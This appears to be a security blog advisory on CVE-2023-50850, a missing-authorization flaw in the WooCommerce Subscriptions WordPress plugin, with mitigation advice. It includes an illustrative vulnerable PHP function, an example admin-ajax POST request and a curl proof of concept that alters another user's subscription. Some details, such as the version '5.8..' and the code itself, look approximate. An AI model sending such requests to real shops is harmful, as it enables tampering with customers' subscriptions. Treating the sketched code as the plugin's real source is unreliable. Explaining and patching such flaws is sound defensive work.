CVE-2023-50850 - How a Missing Authorization Vulnerability in WooCommerce Subscriptions Could Expose Your Shop

Online stores rely heavily on plugins to enhance their e-commerce features. WooCommerce Subscriptions is one of the most popular plugins for adding subscription functionality to WordPress shops. But in late 2023, a serious security issue was discovered — CVE-2023-50850 — that could allow attackers to bypass access controls in WooCommerce Subscriptions, putting both shop data and customer privacy at risk.

In this guide, we break down the vulnerability, show you how attackers could exploit it, and share how to protect your store. Let’s get started.

What is CVE-2023-50850?

CVE-2023-50850 is a “missing authorization” flaw in WooCommerce Subscriptions. Specifically, it affects versions from any (no minimum specified) up to but not including version 5.8..

Technically, this means certain functions in the plugin did not check if a user was allowed to perform a sensitive action (like seeing or changing another user’s subscription). If your site used a vulnerable version and didn't restrict user roles strongly, attackers could potentially gain unauthorized access to private subscription details or perform actions as if they were privileged users.

Impact: Unauthenticated users or lower-level users (like customers or subscribers) could potentially manipulate subscription data or perform admin-level actions depending on your plugin configuration.

Vulnerability Details

According to WordPress.org’s public listing, WooCommerce Subscriptions did not properly verify user capabilities when handling certain HTTP requests related to subscriptions management. If you didn’t restrict APIs or page access tightly, this mistake could let attackers read or update subscription details they shouldn’t have access to.

The main issue was that some endpoints or functions were missing proper permission checks, such as

// In vulnerable WooCommerce Subscriptions versions - missing capability check:
function update_subscription_status( $subscription_id, $new_status ) {
    $subscription = wcs_get_subscription( $subscription_id );
    // No check if current user owns the subscription or is an admin!
    $subscription->update_status( $new_status );
}

A safer version would check like this

function update_subscription_status( $subscription_id, $new_status ) {
    // Only allow admins or owners to update
    if ( current_user_can( 'manage_woocommerce_subscription', $subscription_id ) ) {
        $subscription = wcs_get_subscription( $subscription_id );
        $subscription->update_status( $new_status );
    } else {
        wp_die('You do not have permission to perform this action.');
    }
}

Exploitation Scenario

Imagine a website using a vulnerable version of WooCommerce Subscriptions. An attacker, logged in as a normal customer, could craft a simple HTTP request or use a browser extension (like Postman) to send a request like:

POST /wp-admin/admin-ajax.php?action=update_subscription_status
Content-Type: application/x-www-form-urlencoded

subscription_id=1234&new_status=cancelled

If the plugin did not check the user’s permission, this would let the attacker cancel anyone’s subscription, simply by knowing or guessing the subscription ID.

Proof-of-Concept Exploit (Conceptual Example)

curl -X POST -d "action=update_subscription_status&subscription_id=42&new_status=active" \
    -b "wordpress_logged_in_cookie" \
    https://vulnerable-site.com/wp-admin/admin-ajax.php

If not properly patched, WooCommerce Subscriptions would process this change — even if the user isn’t an admin or the rightful subscriber.

WooCommerce Subscriptions versions prior to 5.8.

- There is no minimum version specified, so even very old WooCommerce Subscriptions installs are affected.

Patch and Fix

The official fix was released in version 5.8.. It adds strict permission checks and improves code quality to prevent this class of bugs. See the official changelog and the patch diff for technical details.

References

- WordPress.org Plugin Changelog
- PATCH details on plugins.trac.wordpress.org
- CVE Entry at NVD
- WPScan Vulnerability Report

Update Now:

Go to your WordPress dashboard, visit plugins, and update WooCommerce Subscriptions to 5.8. or later.

Review User Roles:

Use strict roles and capabilities. Make sure only trusted users have manage_woocommerce or other high-level roles.

Monitor for Suspicious Activity:

Check subscription actions in your logs. Watch for unauthorized changes, especially prior to updating.

Test Your Site:

Use tools like WPScan to check for lingering vulnerabilities.

Conclusion

CVE-2023-50850 is a critical example of why robust access control is vital for plugins handling financial or personal data. If you power your store with WooCommerce Subscriptions, patch immediately to keep your business and users safe.

Remember: A single unchecked action could give a hacker the keys to your e-commerce kingdom. Update regularly and stay safe!


*This post is based on exclusive research and public advisories as linked above. For more security news, stay tuned.*

Timeline

Published on: 12/31/2024 13:15:06 UTC